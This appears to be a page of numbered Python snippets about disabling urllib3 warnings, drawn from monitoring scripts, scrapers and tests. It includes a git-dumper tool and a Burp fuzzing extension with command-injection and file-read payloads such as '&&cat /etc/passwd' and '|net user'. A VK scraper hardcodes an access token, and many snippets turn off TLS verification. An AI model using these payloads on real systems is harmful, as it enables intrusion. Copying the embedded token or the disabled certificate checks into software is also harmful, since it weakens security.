        if "usec_per_read_op" in hostMonitoring:
            arrayUsecPerReadOp = str(hostMonitoring["usec_per_read_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.usec.per.read[" + hostname + "]", "-o",
                arrayUsecPerReadOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "usec_per_write_op" in hostMonitoring:
            arrayUsecPerWriteOp = str(hostMonitoring["usec_per_write_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.usec.per.write[" + hostname + "]", "-o",
                arrayUsecPerWriteOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "writes_per_sec" in hostMonitoring:
            arrayWritePerSec = str(hostMonitoring["writes_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.host.write.per.sec[" + hostname + "]", "-o",
                arrayWritePerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        '''Send 1 to give a result to Zabbix'''
        print(1)

    except:
        '''
        Sending 0 to Zabbix instead of a Python error.
        Like that the items won't be considered as "unsupported"
        '''
        print(0)
Example #34
0
def main():
    parser = argparse.ArgumentParser(
        usage="git-dumper [options] URL DIR",
        description="Dump a git repository from a website.",
    )
    parser.add_argument("url", metavar="URL", help="url")
    parser.add_argument("directory", metavar="DIR", help="output directory")
    parser.add_argument("--proxy", help="use the specified proxy")
    parser.add_argument(
        "-j",
        "--jobs",
        type=int,
        default=10,
        help="number of simultaneous requests",
    )
    parser.add_argument(
        "-r",
        "--retry",
        type=int,
        default=3,
        help="number of request attempts before giving up",
    )
    parser.add_argument(
        "-t",
        "--timeout",
        type=int,
        default=3,
        help="maximum time in seconds before giving up",
    )
    parser.add_argument(
        "-u",
        "--user-agent",
        type=str,
        default=
        "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
        help="user-agent to use for requests",
    )
    parser.add_argument(
        "-H",
        "--header",
        type=str,
        action="append",
        help="additional http headers, e.g `NAME=VALUE`",
    )
    args = parser.parse_args()

    # jobs
    if args.jobs < 1:
        parser.error("invalid number of jobs, got `%d`" % args.jobs)

    # retry
    if args.retry < 1:
        parser.error("invalid number of retries, got `%d`" % args.retry)

    # timeout
    if args.timeout < 1:
        parser.error("invalid timeout, got `%d`" % args.timeout)

    # header
    http_headers = {"User-Agent": args.user_agent}
    if args.header:
        for header in args.header:
            tokens = header.split("=", maxsplit=1)
            if len(tokens) != 2:
                parser.error(
                    "http header must have the form NAME=VALUE, got `%s`" %
                    header)
            name, value = tokens
            http_headers[name.strip()] = value.strip()

    # proxy
    if args.proxy:
        proxy_valid = False

        for pattern, proxy_type in [
            (r"^socks5:(.*):(\d+)$", socks.PROXY_TYPE_SOCKS5),
            (r"^socks4:(.*):(\d+)$", socks.PROXY_TYPE_SOCKS4),
            (r"^http://(.*):(\d+)$", socks.PROXY_TYPE_HTTP),
            (r"^(.*):(\d+)$", socks.PROXY_TYPE_SOCKS5),
        ]:
            m = re.match(pattern, args.proxy)
            if m:
                socks.setdefaultproxy(proxy_type, m.group(1), int(m.group(2)))
                socket.socket = socks.socksocket
                proxy_valid = True
                break

        if not proxy_valid:
            parser.error("invalid proxy, got `%s`" % args.proxy)

    # output directory
    if not os.path.exists(args.directory):
        os.makedirs(args.directory)

    if not os.path.isdir(args.directory):
        parser.error("`%s` is not a directory" % args.directory)

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # fetch everything
    sys.exit(
        fetch_git(
            args.url,
            args.directory,
            args.jobs,
            args.retry,
            args.timeout,
            http_headers,
        ))
Example #35
0
import requests
import json
import sys
import re
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
import get_servers

from datetime import datetime

servers = []

get_servers.get(servers)
get_servers.printServers(servers)

idrac_index = input("Select Server: ")
idrac_index = int(idrac_index)
idrac_ip = str(servers[idrac_index - 1])
print("Selected server: " + idrac_ip)
idrac_username = input("iDRAC username: "******"iDRAC password: "******"r")

url = 'https://%s/redfish/v1/Managers/iDRAC.Embedded.1/Actions/Oem/EID_674_Manager.ImportSystemConfiguration' % idrac_ip

payload = {
    "ShutdownType": "Forced",
Example #36
0
import bs4 as bs
import requests as re
import urllib3
from selenium import webdriver
import pickle
from selenium.webdriver.chrome.options import Options
##import json
#import dryscrape

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # remove "InsecureRequestWarning" meassage

with re.session() as c:  
    url = "https://configurx.it.abb.com/configurx/content/Login.aspx"
    Logged_url="https://configurx.it.abb.com/configurx/content/Logged.aspx"
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Referer':'https://configurx.it.abb.com/configurx/content/Login.aspx'
    }
    data = {
        '__VIEWSTATE': '/wEPDwUKMTkwMDA0NDE2NQ9kFgICAQ9kFjQCAQ8PFgIeBFRleHQFFFdlbGNvbWUgaW4gQ29uZmlndXJYZGQCAw8PFgIfAAULSU5GT1JNQVRJT05kZAIFDw8WAh8ABQhFLW1haWw6IGRkAgcPDxYEHwAFC0luZm9ybWF0aW9uHgtOYXZpZ2F0ZVVybAVQbWFpbHRvOmluc3RydW1lbnRhdGlvbnguc3VwcG9ydEBpdC5hYmIuY29tP3N1YmplY3Q9SW5zdHJ1bWVudGF0aW9uWDogSU5GT1JNQVRJT05kZAIJDw8WAh8ABQVUZWw6IGRkAgsPDxYCHwAFAzAwMGRkAg0PDxYCHwAFEVRFQ0hOSUNBTCBTVVBQT1JUZGQCDw8PFgIfAAUIRS1tYWlsOiBkZAIRDw8WBB8ABQlTdXBwb3J0DQofAQVWbWFpbHRvOmluc3RydW1lbnRhdGlvbnguc3VwcG9ydEBpdC5hYmIuY29tP3N1YmplY3Q9SW5zdHJ1bWVudGF0aW9uWDogVEVDSE5JQ0FMIFNVUFBPUlRkZAITDw8WAh8ABQVUZWw6IGRkAhUPDxYCHwAFAzAwMGRkAhcPDxYCHwAFB1JFTEVBU0VkZAIZDw8WAh8ABR8xMC40NTIuMCByZWxlYXNlZCBvbjExIE9jdCAyMDE5ZGQCHQ8PFgIfAAUNQUJCIENPTkZJR1VSWGRkAh8PDxYCHwAF/wE8Yj5Db25maWd1clg8L2I+IGlzIGFuIEludGVybmV0LWJhc2VkIGFwcGxpY2F0aW9uIHdoaWNoIHByb3ZpZGUgYXV0aG9yaXplZCB1c2VycyB3aXRoIGEgcG93ZXJmdWwgcHJvZHVjdCBjb25maWd1cmF0aW9uIGVudmlyb25tZW50Ljxicj5JdGBzIHBhcnQgb2YgdGhlIEluc3RydW1lbnRhdGlvblggU3VpdGUgYW5kIHdvcmtzIGluIGRpcmVjdCBjb25uZWN0aW9uIHdpdGggdGhlIEluc3RydW1lbnRhdGlvblggUHJvZHVjdCBHbG9iYWwgQ29udGVudC5kZAIhDw8WAh8ABRVMT0dJTiBJTlRPIFRIRSBTWVNURU1kZAIjDw8WBB8AZR4HVmlzaWJsZWhkZAIkDw8WBB8AZR8CaGRkAiYPDxYCHwAFC1VzZXIgTmFtZTogZGQCKg8PFgIfAAUKUGFzc3dvcmQ6IGRkAi4PDxYCHwAFBUxvZ2luZGQCMA8WAh8CaBYEZg9kFgJmDw8WAh8ABQhNYXJrZXQ6IGRkAgEPZBYCZg8QZGQWAGQCMg8PFgIfAAUrVXNlciBOYW1lIGFuZCBQYXNzd29yZCBhcmUgY2FzZSBzZW5zaXN0aXZlLmRkAjQPDxYCHwAFHURJRCBZT1UgRk9SR0VUIFlPVVIgUEFTU1dPUkQ/ZGQCOg8PFgIfAAUEU2VuZGRkAjwPDxYCHwAFc1BsZWFzZSBpbnNlcnQgeW91ciBVc2VyIEUtbWFpbCBhZGRyZXNzLjxicj5Vc2VyIE5hbWUgYW5kIFBhc3N3b3JkIHdpbGwgYmUgc2VudCBhdXRvbWF0aWNhbGx5IHRvIHlvdXIgdHlwZWQgYWRkcmVzcy5kZGSeWqHrF3jeTtVW7gAs8VhBPQ3CmkO7PlylFkUwqqX0vQ==',
        '__VIEWSTATEGENERATOR':'9CA0CFBB',
        '__EVENTVALIDATION':' /wEdAAaSJ11LiwK3vAQYySWybSavxcn6oIDdbNQI5AQUIIyv4nY2+Mc6SrnAqio3oCKbxYaKVZBXgGQ/GUR0UoSGGFdN8lcVMzLLXeEaNXy6K7qCcqKah4gBOJF3lXZOOLxfjvX8yvBW07V17BWBRAhRmjm3xCzClcBcwsw2otVwFwQ2aw==',
        'txtLogin':'******',
        'txtPassword':'******',
        'cmdLogin':'******',
        'txtEmail3':' '
    } # the data that we all need is here, when the password changed, please update your password.
    #res=c.get(url,verify=False,headers = headers)
    resp= c.post(url,data=data,headers = headers,verify=False)
    Logged_cx= c.get(Logged_url,verify=False)
    #print(Logged_cx.text) # verify if logged in successful or not, from feedback text and know it works, so do not need to run again 
Example #37
0
def _disable_warnings():
    """
    Helper for quickly disabling all urllib3 warnings.
    """
    disable_warnings()
Example #38
0
def b():
    from time import sleep
    import os

    import urllib3
    import requests
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    def thebiggest():

        allgroups = {
            'groups': [
                {
                    'name': 'mdk',
                    'id': '-57846937'
                },
                {
                    'name': 'borsh',
                    'id': '-460389'
                },
            ]
        }
        lengr = len(allgroups['groups'])

        for m in range(lengr):
            ut = allgroups['groups'][m]['id']
        sss = []

        for m in range(lengr):

            ut = allgroups['groups'][m]['id']
            hh = allgroups['groups'][m]['name']

            print(ut)

            s = []
            try:
                r = requests.get(
                    'https://api.vk.com/method/wall.get?',
                    params={
                        'owner_id': ut,
                        'count': '100',
                        'access_token':
                        'c85ac67f35af2b1113a812366a9b8f1580ad9d94ce346943777f083958b1b33625b528f9041f51c5b663c',
                        'v': '5.92'
                    },
                    verify=False)
                h = r.json()['response']
                s.append(h)
            except:
                print('api error')

            for i in range(len(s)):
                for name in h['items']:
                    try:
                        likes = name['likes']['count']
                        views = name['views']['count']
                        itog = views // likes

                    except:

                        print('0')

                    if (2 <= itog <= 27):
                        jjjjj = {'grip': hh, 'id': name['id'], 'idg': ut}
                        sss.append(jjjjj)
        return sss

    vv = thebiggest()

    print(vv)

    def best():
        c = 0
        d = []

        for i in range(len(vv)):
            g = str(vv[i]['idg']) + '_' + str(vv[i]['id'])
            print(g)

            try:
                r = requests.get(
                    'https://api.vk.com/method/wall.getById?',
                    params={
                        'posts': g,
                        'access_token':
                        'c85ac67f35af2b1113a812366a9b8f1580ad9d94ce346943777f083958b1b33625b528f9041f51c5b663c',
                        'v': '5.92'
                    },
                    verify=False)
                s = []
                h = r.json()['response']
                s.append(h)
            except:
                print('')

            print(s)
            for name in s:

                for b in name:

                    if ((b['attachments'][0]['type']) == 'photo'):
                        img = 'static/img/img' + str(c) + '.jpg'
                        d.append(img)
                        p = requests.get(
                            b['attachments'][0]['photo']['sizes'][6]['url'])
                        out = open(img, "wb")
                        out.write(p.content)

                        out.close()
                        c = c + 1

        h = {'kol': c, 'array': d}
        return h

    n = best()
    c = n['kol']
    b = n['array']
    print(c)
    # -*- coding: utf8 -*-
    import json

    name = "/static/hjjjj.json"
    file = open(name, mode="w", encoding="Latin-1")
    pl = {'enter': [c, b]}
    m = []
    m.append(pl)
    json.dump(m, file)
    file.close()
    name = '/static/hjjjj.json'
    bv = open(name, mode="r", encoding="Latin-1")
    json_d = json.load(bv)
    for us in json_d:
        for i in us['enter'][1]:
            print(us['enter'])

    import os

    def fcount(path):
        """ Counts the number of files in a directory """
        count = 0
        for f in os.listdir(path):
            if os.path.isfile(os.path.join(path, f)):
                count += 1

        return count

    h = fcount('static/img/.')
    print(h)
    if h != pl['enter'][0]:
        u = pl['enter'][0]

        try:

            import glob
            f = glob.glob("static/img/*.jpg")
            print(f)
            while u <= h:
                os.remove(f[u])
                u = u + 1
        except:
            pass
    def __init__(self):
        self.dstage = False
        self.admission = False
        self.infostage = dict()
        self.infoadmission = dict()
        self.cptstage = 0
        self.cptadmission = 0
        #Suppression  le contenu de dossier audios
        contenu = os.listdir(os.getcwd() + "\\audios")
        for x in contenu:
            os.remove(os.getcwd() + "\\audios\\" + x)
        with open("data/data_chat.json") as file:
            self.data = json.load(file)
        self.stemmer = LancasterStemmer()
        self.words = []
        self.labels = []
        self.docs_x = []
        self.docs_y = []
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        pygame.mixer.init()
        for intent in self.data["intents"]:
            for pattern in intent["patterns"]:
                self.wrds = nltk.word_tokenize(pattern)
                self.words.extend(self.wrds)
                self.docs_x.append(self.wrds)
                self.docs_y.append(intent["tag"])
            if intent["tag"] not in self.labels:
                self.labels.append(intent["tag"])

        self.words = [
            self.stemmer.stem(w.lower()) for w in self.words if w != "?"
        ]
        self.words = sorted(list(set(self.words)))

        self.labels = sorted(self.labels)

        training = []
        output = []

        out_empty = [0 for _ in range(len(self.labels))]

        for x, doc in enumerate(self.docs_x):
            bag = []

            wrds = [self.stemmer.stem(w.lower()) for w in doc]

            for w in self.words:
                if w in wrds:
                    bag.append(1)
                else:
                    bag.append(0)

            output_row = out_empty[:]
            output_row[self.labels.index(self.docs_y[x])] = 1

            training.append(bag)
            output.append(output_row)

        len(training[0])
        training = numpy.array(training)
        output = numpy.array(output)
        tensorflow.reset_default_graph()

        net = tflearn.input_data(shape=[None, len(training[0])])
        net = tflearn.fully_connected(net, 6)
        net = tflearn.fully_connected(net, 6)
        net = tflearn.fully_connected(net,
                                      len(output[0]),
                                      activation="softmax")
        net = tflearn.regression(net)

        self.model = tflearn.DNN(net)
        #self.model.fit(training, output, n_epoch=1000,batch_size=8, show_metric=True)
        #self.model.save('model.tflearn')
        try:
            self.model.load("model.tflearn")
        except:
            self.lecture("Erreur model")

        data = pd.read_csv("data/data_master.csv")
        data.drop('Serial No.', axis=1, inplace=True)
        data.rename({
            'Chance of Admit ': 'Chance of Admit',
            'LOR ': 'LOR'
        },
                    axis=1,
                    inplace=True)
        X = data.drop(['Chance of Admit'], axis=1)
        y = data['Chance of Admit']
        #Standardization
        scaler = StandardScaler()
        X[['CGPA', 'GRE Score', 'TOEFL Score'
           ]] = scaler.fit_transform(X[['CGPA', 'GRE Score', 'TOEFL Score']])
        #Splitting
        X_train, X_test, y_train, y_test = train_test_split(X,
                                                            y,
                                                            train_size=0.80,
                                                            random_state=101)
        self.lr = LinearRegression()
        self.lr.fit(X_train, y_train)
Example #40
0
 def test_verify_no_OK(self, httpbin_secure):
     # Avoid warnings when explicitly testing insecure requests
     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
     r = http(httpbin_secure.url + '/get', '--verify=no')
     assert HTTP_OK in r
Example #41
0
 def test_verify_false_OK(self, httpbin_secure, verify_value):
     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
     r = http(httpbin_secure.url + '/get', '--verify', verify_value)
     assert HTTP_OK in r
def pure_volume_monitoring():
    try:
        '''Get the argument from Zabbix'''
        ip = str(sys.argv[2])  #IP of the Pure Storage Array
        token = str(sys.argv[3])  #API Token
        volume = str(sys.argv[4])  #Volume Name
        host = str(sys.argv[5])  #Host name (for the sender)
        zabbixIP = str(
            sys.argv[6])  #Zabbix Proxy or Server IP (for the sender)
        '''
        Disable the SSL Warning from the output
        '''
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        '''Get data'''
        arrayConnect = purestorage.FlashArray(ip, api_token=token)
        volumeMonitoring = arrayConnect.get_volume(volume=volume,
                                                   action="monitor")
        volumeSpace = arrayConnect.get_volume(volume=volume, space="true")
        volumeInfo = arrayConnect.get_volume(volume=volume)
        arrayValues = volumeMonitoring[0]
        '''Will disable the output to console'''
        FNULL = open(os.devnull, 'w')
        '''Sending data'''
        if "input_per_sec" in arrayValues:
            arrayInputPerSec = str(arrayValues["input_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.input.per.second[" + volume + "]", "-o",
                arrayInputPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "output_per_sec" in arrayValues:
            arrayOutputPerSec = str(arrayValues["output_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.output.per.second[" + volume + "]", "-o",
                arrayOutputPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "reads_per_sec" in arrayValues:
            arrayReadPerSec = str(arrayValues["reads_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.read.per.sec[" + volume + "]", "-o",
                arrayReadPerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "san_usec_per_read_op" in arrayValues:
            arraySanUsecPerReadOp = str(arrayValues["san_usec_per_read_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.san.usec.per.read[" + volume + "]", "-o",
                arraySanUsecPerReadOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "san_usec_per_write_op" in arrayValues:
            arraySanUsecPerWriteOp = str(arrayValues["san_usec_per_write_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.san.usec.per.write[" + volume + "]", "-o",
                arraySanUsecPerWriteOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "usec_per_read_op" in arrayValues:
            arrayUsecPerReadOp = str(arrayValues["usec_per_read_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.usec.per.read[" + volume + "]", "-o",
                arrayUsecPerReadOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "usec_per_write_op" in arrayValues:
            arrayUsecPerWriteOp = str(arrayValues["usec_per_write_op"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.usec.per.write[" + volume + "]", "-o",
                arrayUsecPerWriteOp
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "writes_per_sec" in arrayValues:
            arrayWritePerSec = str(arrayValues["writes_per_sec"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.write.per.sec[" + volume + "]", "-o",
                arrayWritePerSec
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "size" in volumeInfo:
            arrayVolumeSize = str(volumeInfo["size"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.size[" + volume + "]", "-o", arrayVolumeSize
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "snapshots" in volumeSpace:
            volumeSnapshots = str(volumeSpace["snapshots"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.snapshots.size[" + volume + "]", "-o",
                volumeSnapshots
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "data_reduction" in volumeSpace:
            volumeDataReduction = str(volumeSpace["data_reduction"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.data.reduction[" + volume + "]", "-o",
                volumeDataReduction
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "thin_provisioning" in volumeSpace:
            volumeThinProvisioning = str(volumeSpace["thin_provisioning"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.thin.provisioning[" + volume + "]", "-o",
                volumeThinProvisioning
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "total_reduction" in volumeSpace:
            volumeTotalReduction = str(volumeSpace["total_reduction"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.total.data.reduction[" + volume + "]", "-o",
                volumeTotalReduction
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "volumes" in volumeSpace:
            volumeUsedSpace = str(volumeSpace["volumes"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.volume.used.space[" + volume + "]", "-o", volumeUsedSpace
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        '''Send 1 to give a result to Zabbix'''
        print(1)

    except:
        '''
        Sending 0 to Zabbix instead of a Python error.
        Like that the items won't be considered as "unsupported"
        '''
        print(0)
Example #43
0
import requests
import argparse
import urllib3  #only disable SSL warnings

urllib3.disable_warnings()  #only disable SSL warnings

parser = argparse.ArgumentParser(
    description='API scanner for check available methods')
parser.add_argument("url", help="URL of scanning resource", action='store')
parser.add_argument("prefix", help="URL prefix", action='store')
parser.add_argument("--method", help="using HTTP method. Default GET.")
parser.add_argument("list", help="file with methods to check", action='store')
# parser.add_argument("--user-agent", help="User-Agent header for HTTP requests")
args = parser.parse_args()

# print(args.url)
# print(args.prefix)
url = args.url + "/" + args.prefix + "/"
# print(final_url)
try:
    f = open(args.list)
    for line in f:
        final_url = url + line
        print(final_url)
        if args.method == 'post':
            check_r = requests.post(final_url, verify=False)
            print(check_r.status_code)
        else:
            check_r = requests.get(final_url, verify=False)
            print(check_r.status_code)
except FileNotFoundError:
Example #44
0
    like resolve_cert_reqs
    """
    if candidate is None:
        return ssl.PROTOCOL_TLSv1  # 使用TLSv1

    if isinstance(candidate, str):
        res = getattr(ssl, candidate, None)
        if res is None:
            res = getattr(ssl, 'PROTOCOL_' + candidate)
        return res

    return candidate


urllib3.connection.resolve_ssl_version = resolve_ssl_version  # 使用TLSv1
urllib3.disable_warnings()  # 不打印非安全HTTPS警告信息


class SshLogList(LoginRequiredMixin, PermissionRequiredMixin, ListView):
    model = SSH_Log
    template_name = 'sshloglist.html'
    permission_required = 'cmdb.replay_ssh_log'
    raise_exception = True


class SshMonitor(LoginRequiredMixin, PermissionRequiredMixin, TemplateView):
    model = SSH_Log
    template_name = 'sshmonitor.html'
    permission_required = 'cmdb.replay_ssh_log'
    raise_exception = True
Example #45
0
def call_api(root, port, path, header):
    print('call api ' + path)
    urllib3.disable_warnings(InsecureRequestWarning)
    result = requests.get(root+':'+str(port)+path, headers=header, verify=False)
    return result
Example #46
0
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IScannerCheck
from burp import IScannerInsertionPointProvider
from burp import IParameter
from burp import IScanIssue
from urlparse import urlparse
from java.net import URL
import urllib2
import sys
sys.path.append('C:/Python27/Lib/site-packages')
import random
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  # 屏蔽ssl警告
class FuzzLFI:
    def __init__(self):
        # 任意文件读取敏感目录
        self.dir = [
            '&&net user',
            '&&cat /etc/passwd',
            '&net user',
            '&cat /etc/passwd',
            '&;&net user',
            '&;&cat /etc/passwd',
            '|net user',
            '|cat /etc/passwd',
            #上面是命令执行漏洞的
           'file:///etc/passwd',
           'dict://127.0.0.1:22',
Example #47
0
import copy
import logging
import os
import re
from typing import Dict, Tuple
from urllib.parse import urlencode

import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning

from adaptation_layer.error_handler import ResourceNotFound, NsNotFound, \
    BadRequest, ServerError, NsOpNotFound, NsdNotFound
from .interface import Driver, Headers, BodyList, Body

urllib3.disable_warnings(InsecureRequestWarning)
TESTING = os.environ.get("TESTING", False)
PRISM_ALIAS = os.environ.get("PRISM_ALIAS", "prism-ever")

logger = logging.getLogger('app.driver.ever')


class EVER(Driver):
    def __init__(self, rano_cred):
        self._ranoId = rano_cred["rano_id"]
        self._host = rano_cred["host"]
        self._port = rano_cred["port"] if "port" in rano_cred else 8080
        self._headers = {
            "Content-Type": "application/json",
            "Accept": "application/json"
        }
def pure_array_info():
    try:
        '''Get the argument from Zabbix'''
        ip = str(sys.argv[2])  #IP of the Pure Storage Array
        token = str(sys.argv[3])  #API Token
        host = str(sys.argv[4])  #Host name (for the sender)
        zabbixIP = str(
            sys.argv[5])  #Zabbix Proxy or Server IP (for the sender)
        '''
        Disable the SSL Warning from the output
        '''
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        '''Get data'''
        arrayConnect = purestorage.FlashArray(ip, api_token=token)
        arraySpace = arrayConnect.get(space="true")
        arrayInfo = arrayConnect.get()
        arrayPhoneHome = arrayConnect.get_phonehome()
        arrayRemoteAssist = arrayConnect.get_remote_assist_status()
        arrayValues = arraySpace[0]
        '''Will disable the output to console'''
        FNULL = open(os.devnull, 'w')
        '''Sending data'''
        if "capacity" in arrayValues:
            arrayCapacity = str(arrayValues["capacity"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.capacity", "-o", arrayCapacity
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "volumes" in arrayValues:
            arrayVolumesSize = str(arrayValues["volumes"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.volumes.size", "-o", arrayVolumesSize
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "data_reduction" in arrayValues:
            arrayDataReduction = str(arrayValues["data_reduction"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.data.reduction", "-o", arrayDataReduction
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "total" in arrayValues:
            arrayUsedSpace = str(arrayValues["total"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.used.space", "-o", arrayUsedSpace
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "shared_space" in arrayValues:
            arraySharedSpace = str(arrayValues["shared_space"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.shared.space", "-o", arraySharedSpace
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "thin_provisioning" in arrayValues:
            arrayThinProvisioning = str(arrayValues["thin_provisioning"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.thin.provisioning", "-o", arrayThinProvisioning
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "total_reduction" in arrayValues:
            arrayTotalReduction = str(arrayValues["total_reduction"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.total.data.reduction", "-o", arrayTotalReduction
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "array_name" in arrayInfo:
            arrayHostname = arrayInfo["array_name"]
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.hostname", "-o", arrayHostname
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "version" in arrayInfo:
            arrayVersion = str(arrayInfo["version"])
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.array.version", "-o", arrayVersion
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "status" in arrayRemoteAssist:
            remoteAssist = arrayRemoteAssist["status"]
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.remote.assist", "-o", remoteAssist
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        if "phonehome" in arrayPhoneHome:
            phoneHome = arrayPhoneHome["phonehome"]
            subprocess.call([
                "zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
                "pure.phone.home", "-o", phoneHome
            ],
                            stdout=FNULL,
                            stderr=subprocess.STDOUT)
        '''Send 1 to give a result to Zabbix'''
        print(1)

    except:
        '''
        Sending 0 to Zabbix instead of a Python error.
        Like that the items won't be considered as "unsupported"
        '''
        print(0)
Example #49
0
#  Copyright 2019 Jeremy Schulman, [email protected]
#
#  Licensed under the Apache License, Version 2.0 (the "License");
#  you may not use this file except in compliance with the License.
#  You may obtain a copy of the License at
#
#  http://www.apache.org/licenses/LICENSE-2.0
#
#  Unless required by applicable law or agreed to in writing, software
#  distributed under the License is distributed on an "AS IS" BASIS,
#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#  See the License for the specific language governing permissions and
#  limitations under the License.

from app import create_app

# disable SSL warnings, and such ... this is only done here in the "app/run" so we don't hardcode
# this disable anywhere in the package files.

from urllib3 import disable_warnings
disable_warnings()

app = create_app()

if __name__ == "__main__":
    app.run(host=app.config["HOST"],
            port=app.config["PORT"],
            threaded=app.config["THREADING"])

Example #50
0
def main():
    rootKey = 'nsxtapi'
    configFileName = '/Users/challagandlp/playground/python/nsxtapi/config.yaml'
    Config = Configmap(rootKey, configFileName)
    nsxtmgr1_url = Config.getURL('site1', 'nsxtmgr1')
    nsxtmgr1_usr = Config.getValue('site1', 'nsxtmgr1', 'auth_user')
    nsxtmgr1_pwd = Config.getValue('site1', 'nsxtmgr1', 'auth_pwd')
    session = requests.session()

    session.verify = False
    #nsx_url = 'https://%s:%s' % ("10.29.13.120", 443)
    connector = connect.get_requests_connector(session=session,
                                               msg_protocol='rest',
                                               url=nsx_url)
    stub_config = StubConfigurationFactory.new_std_configuration(connector)
    security_context = create_user_password_security_context(
        nsxtmgr1_usr, nsxtmgr1_pwd)
    connector.set_security_context(security_context)
    urllib3.disable_warnings()
    domain_id = 'default'
    group_list = []
    group_svc = Groups(stub_config)
    group_list = group_svc.list(domain_id)
    x = len(group_list.results)
    start_row = 1
    for i in range(0, x):
        # Extract Group ID for each group
        grp_id = group_list.results[i].id
        sheet1.write(start_row, 0, grp_id)

        # Extract Tags for each group if exist
